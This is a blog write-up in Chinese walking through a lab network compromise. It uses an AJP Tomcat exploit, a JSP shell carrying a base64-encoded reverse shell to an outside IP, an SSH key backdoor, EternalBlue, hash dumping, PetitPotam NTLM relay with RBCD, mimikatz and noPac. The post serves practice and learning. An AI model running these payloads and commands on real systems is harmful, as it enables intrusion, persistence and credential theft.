春旗云镜 Spoofing

扫描发现开放了8080端口
image

dirsearch进行路径扫描.
image

发现是Tomcat 9.0.30,该版本存在文件包含漏洞
image

tomcat的许多重要信息存储在/WEB-INF/web.xml下,然而不能直接访问,我们利用漏洞来读文件.

python3 ajpShooter.py http://39.98.118.38:8080 8009  /WEB-INF/web.xml read

结果如下

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>

  <security-constraint>
    <display-name>Tomcat Server Configuration Security Constraint</display-name>
    <web-resource-collection>
      <web-resource-name>Protected Area</web-resource-name>
      <url-pattern>/upload/*</url-pattern>
    </web-resource-collection>
    <auth-constraint>
      <role-name>admin</role-name>
    </auth-constraint>
  </security-constraint>

  <error-page>
    <error-code>404</error-code>
    <location>/404.html</location>
  </error-page>

  <error-page>
    <error-code>403</error-code>
    <location>/error.html</location>
  </error-page>

  <error-page>
    <exception-type>java.lang.Throwable</exception-type>
    <location>/error.html</location>
  </error-page>

  <servlet>
    <servlet-name>HelloServlet</servlet-name>
    <servlet-class>com.example.HelloServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>HelloServlet</servlet-name>
    <url-pattern>/HelloServlet</url-pattern>
  </servlet-mapping>

  <servlet>
    <display-name>LoginServlet</display-name>
    <servlet-name>LoginServlet</servlet-name>
    <servlet-class>com.example.LoginServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>LoginServlet</servlet-name>
    <url-pattern>/LoginServlet</url-pattern>
  </servlet-mapping>

  <servlet>
    <display-name>RegisterServlet</display-name>
    <servlet-name>RegisterServlet</servlet-name>
    <servlet-class>com.example.RegisterServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>RegisterServlet</servlet-name>
    <url-pattern>/RegisterServlet</url-pattern>
  </servlet-mapping>

  <servlet>
    <display-name>UploadTestServlet</display-name>
    <servlet-name>UploadTestServlet</servlet-name>
    <servlet-class>com.example.UploadTestServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>UploadTestServlet</servlet-name>
    <url-pattern>/UploadServlet</url-pattern>
  </servlet-mapping>

  <servlet>
    <display-name>DownloadFileServlet</display-name>
    <servlet-name>DownloadFileServlet</servlet-name>
    <servlet-class>com.example.DownloadFileServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>DownloadFileServlet</servlet-name>
    <url-pattern>/DownloadServlet</url-pattern>
  </servlet-mapping>
</web-app>

其中的url-pattern标签指明了一些方法的路径,我们访问这个/UploadServlet,去传一个jsp马(扩展名随意)

<%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMuNDAvMTExMSAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>

image

然后去利用漏洞执行文件/upload/baf277cd8b8dda906a9fc877bb322235/20240927013233060.txt

python3 ajpShooter.py http://39.98.118.38:8080 8009 /upload/baf277cd8b8dda906a9fc877bb322235/20240927013233060.txt   eval

成功接收到了反弹的shell.直接就是root权限,可以直接读flag
image

flag:flag{50c14d04-2ead-4b03-a1b5-96249cec839f}
写公钥留后门

ssh-keygen
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINCNoNQvY1VqLZ40gTHUcXP/S88pOPZEi/Uv9rHXkJaM lbz@lbz" > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

架个nps代理,传fscan扫内网.

./fscan -h 172.22.11.76/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.11.6     is alive
(icmp) Target 172.22.11.26    is alive
(icmp) Target 172.22.11.76    is alive
(icmp) Target 172.22.11.45    is alive
[*] Icmp alive hosts len is: 4
172.22.11.45:139 open
172.22.11.26:139 open
172.22.11.6:139 open
172.22.11.45:135 open
172.22.11.26:135 open
172.22.11.6:135 open
172.22.11.76:22 open
172.22.11.6:88 open
172.22.11.76:8080 open
172.22.11.45:445 open
172.22.11.76:8009 open
172.22.11.26:445 open
172.22.11.6:445 open
[*] alive ports len is: 13
start vulscan
[*] NetInfo 
[*]172.22.11.6
   [->]XIAORANG-DC
   [->]172.22.11.6
[*] NetBios 172.22.11.26    XIAORANG\XR-LCM3AE8B          
[*] NetBios 172.22.11.6     [+] DC:XIAORANG\XIAORANG-DC    
[*] NetInfo 
[*]172.22.11.26
   [->]XR-LCM3AE8B
   [->]172.22.11.26
[+] MS17-010 172.22.11.45       (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] WebTitle http://172.22.11.76:8080  code:200 len:7091   title:后台管理
[*] NetBios 172.22.11.45    XR-DESKTOP.xiaorang.lab             Windows Server 2008 R2 Enterprise 7601 Service Pack 1
已完成 13/13
[*] 扫描结束,耗时: 8.053630894s

有三台存活的机器

172.22.11.6 XIAORANG-DC
172.22.11.26 XR-LCM3AE8B
172.22.11.45 XR-DESKTOP.xiaorang.lab 

先把这个172.22.11.45有MS17-010的打掉.

proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.11.45
exploit

hashdump一下

Administrator:500:aad3b435b51404eeaad3b435b51404ee:48f6da83eb89a4da8a1cc963b855a799:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

然后再creds_all一下

Username     Domain    NTLM                              SHA1
--------     ------    ----                              ----
XR-DESKTOP$  XIAORANG  0b25ae7e164675c93d84d36b438218b9  a982e2b54ea63af21df3ace6aa8bb5ecf01d6fb9
yangmei      XIAORANG  25e42ef4cc0ab6a8ff9e3edbbda91841  6b2838f81b57faed5d860adaf9401b0edb269a6f

还得到了yangmei的明文密码
image

yangmei@xiaorang.lab/xrihGHgoNZQ
pth一个Administrator的ntlm登录.

proxychains python3 psexec.py -hashes :48f6da83eb89a4da8a1cc963b855a799 Administrator@172.22.11.45 -codec gbk

成功得到第二个flag
image

flag:flag{15391f73-184e-4c7a-87e3-b041d9493e81}
rdp远程登录yangmei,传个sharphound跑一下
image

啥也看不出来,看看别人的wp咋搞的.看提示有Coerce Authentication和WebClient,直接crackmapexec密码喷洒看看WebClient和petitpotam.
由于kali自带的crackmapexec功能有限,我们去下个打包的cme二进制文件去用
查看Webclient:

proxychains ./cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M Webdav

image

172.22.11.26开放了webclient的服务.
查看petitpotam:

proxychains ./cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M PetitPotam

image

也能打.
这里要打一个无ADCS + PetitPotam + NTLM中继.简单来说也是一种ntlm relay的打法,过程如下.
1、用petitpotam触发目标访问HTTP服务
2、目标使用webclient携带NTLM认证访问中继,并将NTLM认证中继到LDAP
3、获取到机器账号身份
4、以机器账户的身份修改其自身的msDS-AllowedToActOnBehalfOfOtherIdentity属性,从而允许我们访问到目标机器。
首先需要将入口机80端口接收到的流量转发到我的攻击机上.

ssh -i .rsa root@39.98.118.38 -D 123.57.23.40:2333 -R \*:79:127.0.0.1:80 #同时成功的登录了
nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 & #在入口机执行

利用之前抓到的XR-Desktop机器账户去打ldap服务器,建立webclient和ldap服务器之间的链接,用于中继身份认证.

proxychains python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access

接着使用PetitPotam触发XR-LCM3AE8B强制认证到172.22.11.26

proxychains python3 petitpotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26

image

可以看到已经成功的完成了认证.由于我们是使用XR-Desktop进行中继的,因此该机器账户获得了172.22.11.26的很多权限,直接打RBCD.
伪造一个管理员的ST.

proxychains impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :0b25ae7e164675c93d84d36b438218b9  xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6

然后进行配置

export KRB5CCNAME=administrator@cifs_XR-LCM3AE8B.xiaorang.lab@XIAORANG.LAB.ccache
sudo vim /etc/hosts
#填入内容如下
172.22.11.26 XR-LCM3AE8B.xiaorang.lab

哈希横传登录

proxychains python3 ~/CTFtools/impacket/examples/psexec.py Administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -dc-ip 172.22.11.6 -codec gbk

成功拿到了第三个flag
image

flag:flag{73a94200-d6ec-4758-b322-efb456977ddb}
添加个管理员用户,rdp上线.
image

登录的时候提示zhanghui在线,这说明还有其他的域用户啊!
上个mimikatz去hashdump一下

privilege::debug
sekurlsa::logonpasswords

image

直接就抓到了这个zhanghui的NTLM是1232126b24cdf8c9bd2f788a9d7c7ed1.按照靶场提示最后要打一个nopac,虽然基本能猜到,但是还是上个Sharphound看看.(这里需要用System权限跑,一般的Administrator都不好使)
然后分析了一圈还是啥都没分析出来...索性直接试着去打nopac了.
什么是nopac攻击?

- CVE-2021-42278,机器账户的名字一般来说应该以`$`结尾,但AD没有对域内机器账户名做验证。
- CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在`TGS_REP`阶段,这个账户不存在的时候,DC会使用自己的密钥加密`TGS Ticket`,提供一个属于该账户的`PAC`,然后我们就得到了一个高权限ST。
- 假如域内有一台域控名为 DC(域控对应的机器用户为 DC$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 SAMTHEADMIN-48$,再把机器用户 SAMTHEADMIN-48$ 的 sAMAccountName 改成 DC。然后利用 DC 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 SAMTHEADMIN-48$。这个时候 KDC 就会判断域内没有 DC 这个用户,自动去搜索 DC$(DC$是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。

直接工具一把梭

proxychains python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell

image

flag:flag{3172bfd1-8b0e-43dd-9cbe-d0dea6d22c97}

共用时2小时12分钟.无论是Petitpotam+webclient打ntlmrelay,还是nopac都是第一次打.这里积累了一个重要的经验,就是bloodhound并不是什么都能看出来(这次什么都没看出来).后面还要系统的去看,去整理一个Adfind.exe的使用指南.感觉自己这种以题代学的方法挺好的,但是靶场的数目有点少.后面得想想具体咋办了...
image

posted @ 2024-09-27 16:06  colorfullbz  阅读(131)  评论(0)    收藏  举报